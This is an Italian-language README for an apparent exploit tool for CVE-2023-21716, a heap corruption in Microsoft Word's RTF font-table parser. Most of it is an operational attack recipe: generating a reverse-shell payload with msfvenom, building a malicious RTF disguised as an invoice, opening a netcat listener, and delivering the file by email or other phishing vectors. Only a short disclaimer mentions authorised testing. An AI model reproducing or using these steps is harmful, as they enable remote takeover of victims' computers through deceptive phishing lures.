CVE-2023-21716 — Corruzione Heap RTF fonttbl di Microsoft Word RCE

Gravità: Critica (CVSS 9.8)
Interessato: Microsoft Word 2013 / 2016 / 2019 / 2021 (non aggiornato)
Patch: Microsoft Patch Tuesday di febbraio 2023
Autore: REGGYRAIDER

Panoramica della Vulnerabilità

CVE-2023-21716 è una vulnerabilità di corruzione heap nel parser RTF di Microsoft Word (wwlib.dll).
Quando Word analizza una direttiva \fonttbl contenente più di 32.767 voci di font, un contatore interno a 16 bit con segno va in overflow, corrompendo i metadati dell'heap. Ciò consente a un attaccante di ottenere esecuzione di codice remoto semplicemente inviando alla vittima un file .rtf appositamente creato.

Niente macro. Nessuna interazione utente oltre all'apertura del file.

Setup & Exploit

Passo 1 — Genera shellcode grezzo con msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

Passo 2 — Clona questo repository

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

Passo 3 — Costruisci l'RTF dannoso

python3 exploit.py payload.bin invoice_march2024.rtf

Passo 4 — Avvia il listener

nc -lvnp 4444

Passo 5 — Consegna il file

Carica tramite SMB, allegato email o qualsiasi vettore di phishing.
Quando la vittima apre invoice_march2024.rtf in un Word non aggiornato, ricevi una reverse shell.

Come Funziona

L'attaccante crea RTF          Word analizza \fonttbl        Heap corrotto
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl con 32769+         Contatore a 16 bit segno        Dell'attaccante
definizioni di font         overflow → 0x8000           shellcode eseguito

1. L'exploit incorpora 32.769 definizioni di font \f<N> all'interno di \fonttbl.
2. Word alloca un buffer di dimensione fissa basato sul contatore (ora in overflow).
3. Le scritture successive dei font vanno oltre il buffer allocato, corrompendo i chunk dell'heap adiacenti.
4. Lo shellcode grezzo (da payload.bin) viene inserito all'interno di \pict e finisce nella regione corrotta, ottenendo l'esecuzione quando l'allocatore lo elabora.

Dichiarazione di non responsabilità

Questo strumento è inteso solo per scopi educativi e test di penetrazione autorizzati.
Usare questo exploit contro sistemi di cui non si possiede o non si ha esplicita autorizzazione scritta per testare è illegale.
L'autore non si assume alcuna responsabilità per un uso improprio.

Riferimenti

• Microsoft Security Advisory
• NVD Entry